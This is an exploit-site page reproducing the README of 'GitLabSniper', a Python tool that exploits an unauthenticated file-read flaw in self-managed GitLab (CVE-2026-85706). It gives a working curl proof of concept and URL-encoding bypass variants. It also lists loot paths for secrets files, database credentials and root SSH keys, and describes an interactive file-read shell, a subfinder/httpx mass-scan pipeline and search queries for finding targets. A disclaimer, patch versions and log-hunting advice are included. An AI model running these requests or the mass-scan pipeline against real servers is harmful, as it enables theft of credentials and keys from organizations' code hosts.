Sploitus

Exploit for CVE-2026-85706

githubexploit · 2026-09-11

Exploit Code

README305 lines
## https://sploitus.com/exploit?id=CB41C932-3F63-547C-8278-6162A20CA9E3
GitLabSniper


  CVE-2026-85706 — GitLab CE/EE unauthenticated arbitrary file read
  detect · public project enum · loot · interactive shell · subfinder/httpx pipeline



  
  
  
  
  


---

**Author:** Yunus Emre Öztaş (**mitsec**)  
**X:** [x.com/ynsmroztas](https://x.com/ynsmroztas)  
**GitHub:** [github.com/ynsmroztas](https://github.com/ynsmroztas)  
**Site:** [ynsmroztas.github.io](https://ynsmroztas.github.io)  
**Mail:** `m.i.t@mit.tc`

Use only on systems you own or are explicitly authorized to test (bug bounty / VDP / written contract).

---

## What this is

`GitLabSniper.py` is a single-file Python scanner/exploit for **CVE-2026-85706**: an unauthenticated local file read in self-managed GitLab Community Edition and Enterprise Edition.

It does **not** stop at “version looks affected”. It fires the Workhorse parser-differential bypass, classifies the Rails response, and only prints **FILE LEAK** when the 400 body contains the file bytes inside `invalid %-encoding (...)`.

| Band | Versions |
|---|---|
| Affected | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Patched | **19.1.8** / **19.2.6** / **19.3.2** (2026-09-10) |
| Not in scope | gitlab.com · GitLab Dedicated |

---

## How the bug works

Three repository endpoints sit behind Workhorse `requestBodyUploader`:

- `POST /api/v4/projects/:id/repository/commits`
- `POST /api/v4/projects/:id/repository/files/:file_path`
- `PUT  /api/v4/projects/:id/repository/files/:file_path`

Rails takes the raw `file.path` field and runs `File.open` **before** `authenticate!`. `require_gitlab_workhorse!` is not a real gate here: Workhorse already stamps a valid `Gitlab-Workhorse-Api-Request` JWT on anything it proxies.

Workhorse was supposed to rewrite the upload first. Its route regex matches **`EscapedPath()`** and a `path.Clean` clone that **never percent-decodes**. Puma **does** decode `%XX` before Grape routing.

```
Attacker
  POST /api/v4/projects/35/repository/%63ommits
  POST /api/v4/projects/35/repository/commits/          ← trailing slash also slips
       ?file=&file.path=/etc/passwd&file.size=1
       &Content-Type=application/x-www-form-urlencoded
        │
        ▼
Workhorse     regex sees "%63ommits" / "commits/"  → MISS  (no rewrite)
        │
        ▼
Puma          decodes %63 → commits                 → ROUTES to Rails
        │
        ▼
Rails         File.open(params[:file][:path])       → BEFORE auth
        │
        ▼
Rack          parse_nested_query(File.read(path))
              stray "%" that is not %HH
        │
        ▼
HTTP 400      Invalid parameter: invalid %-encoding ()
```

`file=` blank satisfies `requires :file, WorkhorseFile` (blank → nil). The leak channel is the **urlencoded** branch. JSON/`Oj` does not echo file bytes the same way — the tool always sends `Content-Type=application/x-www-form-urlencoded`.

`//`, `/./`, `%2F` and `;` do **not** bypass: `path.Clean` normalizes the first two and Puma rejects `%2F`.

The project id is **not** “which repo to steal files from”. `file.path` is an **absolute server path**. The id is only the URL piece that reaches the vulnerable controller.

| Endpoint | Project requirement |
|---|---|
| **files** (`%66iles`) | Any id often works — `File.open` is before project checks |
| **commits** (`%63ommits`, `commits/`, `commits.json`) | Needs a project an anonymous user can `read_code`. Otherwise `404 Project Not Found` |

That is why the tool enumerates `GET /api/v4/projects` and skips gated ids.

Confirmed leak requires this substring in the body:

```text
invalid %-encoding (
```

Files with no lone `%` may still be opened (`read-noecho` / later `branch is required`) but will **not** echo. That is an oracle, not a reportable dump.

---

## Features

- GitLab fingerprint (HTML / `x-gitlab-*` / sign-in) + version range when visible
- Public project enum (`GET /api/v4/projects`)
- Automatic pick of a non-gated project id (fallback `1..7`)
- Workhorse bypass matrix
  - `%63ommits` · `%72epository` · `%66iles`
  - trailing `/` · `.json`
  - POST + PUT on files
- Response classifier: `leak` · `leak-fragment` · `read-noecho` · `missing` · `project-gate` · `rewrite` · `noroute`
- `--auto` loot list (hostname, passwd, `secrets.yml`, `gitlab-secrets.json`, `gitlab.rb`, `database.yml`, ssh keys, environ)
- Sticky working form after the first leak
- Interactive shell (`cat`, `loot`, `secrets`, `passwd`, `project `, `curl`)
- Pipeline: raw hosts, `httpx -sc -td -title`, `httpx -json`, ANSI stripped
- JSON / JSONL report (`-o`)
- Colorized HIT banner + ready-to-paste curl PoC

---

## Install

```bash
pip install requests
python3 GitLabSniper.py -h
```

Python 3.10+. No other deps.

---

## Usage

### Single host

```bash
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
```

### Interactive shell

```bash
python3 GitLabSniper.py -u https://gitlab.example.com --shell
```

```text
GitLabSniper@gitlab.example.com> help
GitLabSniper@gitlab.example.com> cat /etc/passwd
GitLabSniper@gitlab.example.com> secrets
GitLabSniper@gitlab.example.com> loot
GitLabSniper@gitlab.example.com> project 35
GitLabSniper@gitlab.example.com> curl /etc/gitlab/gitlab.rb
GitLabSniper@gitlab.example.com> exit
```

### Pipeline (subfinder + httpx)

```bash
subfinder -d example.com -silent \
  | httpx -silent -sc -td -title \
  | python3 GitLabSniper.py --pipe --auto -o hits.jsonl

subfinder -d example.com -silent \
  | httpx -silent -json \
  | python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl

# stdin is not a TTY → --pipe is implied
cat hosts.txt | python3 GitLabSniper.py --auto
```

Parser accepts:

- `https://gitlab.example.com`
- `https://gitlab.example.com [200] [GitLab] [nginx]`
- `httpx -json` objects (`url` / `status_code`)
- bare `host` and `host:port`
- skips `[0]` / timeout / empty rows

---

## Flags

| Flag | Meaning |
|---|---|
| `-u` / `-t` / `--target` | Single base URL |
| `--pipe` | Read targets from stdin |
| `-f` / `--list` | File of hosts |
| `--file` | One absolute path to read |
| `--auto` / `--loot` | High-value GitLab file list |
| `--shell` | Interactive file-read shell |
| `--project-id` | Force project id (default: enum + fallback) |
| `--max-projects` | Cap enum/fallback ids (default 8) |
| `--force` | Scan even if fingerprint is weak |
| `--threads` | Pipeline workers (default 8) |
| `--timeout` | Seconds (default 15) |
| `-o` | `hits.json` or `hits.jsonl` |
| `-q` | Quiet |
| `--no-banner` | No banner |

Exit codes: `0` leak · `1` oracle-only / no leak in pipe · `2` no usable signal.

---

## Verdicts

| Tag | Meaning | Report? |
|---|---|---|
| `leak` | `invalid %-encoding (` + file bytes | **Yes — confirmed** |
| `leak-fragment` | Partial echo | Maybe, attach body |
| `read-noecho` | 401 / `branch is required` after open, no `%` in file | Oracle only |
| `missing` | `local file not present` — bypass reached disk | Existence oracle |
| `project-gate` | `404 Project Not Found` | Try another public id |
| `rewrite` | Workhorse rewrote body (`Invalid json`) | This form is dead |
| `noroute` | Plain 404 | Patched or wrong path |
| `other` | 500 / leftover | Dump body before claiming |

Do not file a critical based on `read-noecho` alone.

---

## Default loot paths

```
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ
```

Highest impact when they echo: `secrets.yml`, `gitlab-secrets.json`, `database.yml` (`secret_key_base`, `otp_key_base`, DB password).

---

## Manual PoC (same request the tool emits)

```bash
curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
```

Vulnerable instance returns JSON similar to:

```json
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}
```

On some hosts `%63ommits` is 401 and **`/repository/commits/`** (trailing slash) is the form that leaks. The tool walks every variant.

---

## Recon helpers

```text
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"
```

Pair with `subfinder | httpx | GitLabSniper.py --pipe --auto`.

---

## Disclaimer

This repository is for authorized security testing and defensive validation after patching. You are responsible for scope.

If you operate a self-managed GitLab box in the affected range: upgrade to **19.1.8 / 19.2.6 / 19.3.2** now. Hunt access logs for `POST /api/v4/projects/*/repository/commits` with a `file.path` query parameter.

---

## Credits

Vulnerability reported by **s3ntago** via GitLab HackerOne.

Write-up and original PoC that this tool is built on:

**https://github.com/guneykabel/cve-2026-85706**

Thank you to [guneykabel](https://github.com/guneykabel) for publishing a clear classifier (`leak` / `missing` / `project-gate` / `rewrite`) and the Workhorse ↔ Puma differential explanation. GitLabSniper wraps that model with project enum, loot, shell and recon pipelines.

GitLab advisory / patches: CE/EE **19.1.8**, **19.2.6**, **19.3.2**.

---

## Author

**Yunus Emre Öztaş** · mitsec

- X — [x.com/ynsmroztas](https://x.com/ynsmroztas)
- GitHub — [github.com/ynsmroztas](https://github.com/ynsmroztas)
- Web — [ynsmroztas.github.io](https://ynsmroztas.github.io)
- Mail — `m.i.t@mit.tc`